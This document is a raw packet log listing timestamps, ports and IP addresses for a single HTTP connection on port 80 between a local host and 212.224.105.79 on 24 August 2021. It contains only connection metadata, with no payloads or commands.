Aug 24, 2021 14:01:28.788482904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.788546085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.788610935 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.788618088 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.788667917 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.788729906 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.788737059 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.788800001 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.788882017 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.788954973 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789005995 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789064884 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789068937 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.789123058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789179087 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.789201021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789272070 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789308071 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.789347887 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789417982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789419889 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.789494038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789560080 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789602995 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.789659023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789726019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789756060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789787054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789788008 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.789815903 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789866924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789908886 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.789910078 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789947033 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789982080 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.789982080 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.790019035 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790040016 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.790055990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790085077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790108919 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790133953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790148973 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.790160894 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790204048 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790236950 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790236950 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.790261984 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.790273905 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790309906 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790317059 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.790338993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790364027 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790395021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790416002 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.790431023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790462971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790501118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790501118 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.790509939 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.790543079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790582895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790589094 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.790617943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790652990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790687084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790705919 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.790736914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.790740013 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.790832043 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.815584898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.815618038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.815642118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.815670013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.815697908 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.815721989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.815745115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.815767050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.815788984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.815810919 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.815835953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.815859079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.815881014 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.815902948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.815924883 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.815942049 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.815964937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.815989017 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816011906 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816034079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816056013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816076994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816102028 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816127062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816143990 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816165924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816186905 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816210032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816231012 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816252947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816274881 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816298962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816320896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816344023 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816366911 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816389084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816411972 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816436052 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816458941 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816483974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816508055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816529989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816554070 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816553116 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.816576004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816598892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816623926 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816644907 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816653013 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.816670895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816673994 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.816678047 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.816679955 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.816682100 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.816684961 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.816687107 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.816689968 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.816693068 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.816694975 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.816695929 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.816699028 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.816701889 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.817936897 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.817960978 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.817964077 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.817966938 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.817970037 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.817974091 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.817976952 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.817979097 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.817981005 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.817984104 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.817986012 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.839845896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.840904951 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.840948105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.841022968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.841059923 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.841095924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.841130018 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.841164112 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.841196060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.841228008 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.841260910 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.841291904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.841321945 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.841356993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.841407061 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.841442108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.841478109 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.841849089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.841908932 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.841944933 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.842197895 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.843600988 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.843636036 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.843660116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.843703985 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.843732119 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.843755960 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.843755007 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.843775988 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.843903065 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.843908072 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.843911886 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.844676971 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.915792942 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.915832043 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:28.938875914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.938899040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.968590021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:28.976861954 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:29.038558960 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.045172930 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.046781063 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048309088 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:29.048329115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048377991 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048402071 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048418999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048444986 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048463106 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:29.048468113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048496008 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048518896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048544884 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048554897 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:29.048563004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048579931 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048598051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048608065 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:29.048612118 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:29.048623085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048643112 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:29.048660040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048669100 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:29.048686028 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048710108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048722982 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:29.048732996 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.048770905 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:29.229449987 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:29.886126041 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:29.886178970 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:29.908139944 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.908171892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.932085991 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:29.987246990 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:29.987288952 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:30.016586065 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:30.038521051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:30.192543983 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:30.192622900 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:30.214617968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:30.240658045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:30.338920116 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.076155901 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.137547970 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.159030914 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.159213066 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.159238100 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.159279108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.159286976 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.159303904 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.159327984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.159332037 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.159348965 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.159373045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.159377098 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.159394979 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.159418106 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.159447908 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.159493923 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.181356907 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181386948 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181402922 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181420088 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181436062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181456089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181473017 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181474924 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.181490898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181507111 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181524038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181539059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181549072 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.181555986 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181566954 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.181571960 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181591034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181593895 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.181610107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181626081 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181633949 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.181642056 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181658030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181663036 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.181674004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181689978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.181710958 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.181727886 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.203588963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203624964 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203640938 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203666925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203691006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203711987 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203733921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203754902 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203774929 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203794956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203802109 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.203815937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203819990 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.203830957 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.203841925 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203864098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203881025 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.203885078 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203906059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203922987 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.203927040 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203947067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203958988 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.203968048 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203989029 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.203998089 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.204015017 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204041004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204047918 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.204061031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204081059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204090118 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.204102993 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204122066 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204133034 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.204142094 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204161882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204175949 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.204186916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204209089 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204229116 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204233885 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.204250097 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204271078 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204274893 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.204291105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204312086 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.204312086 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204333067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204359055 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.204359055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204381943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204394102 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.204402924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204422951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204443932 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.204444885 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.204474926 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:31.226500988 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.226591110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.226651907 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:31.226710081 CEST	49723	80	192.168.2.3	212.224.105.79
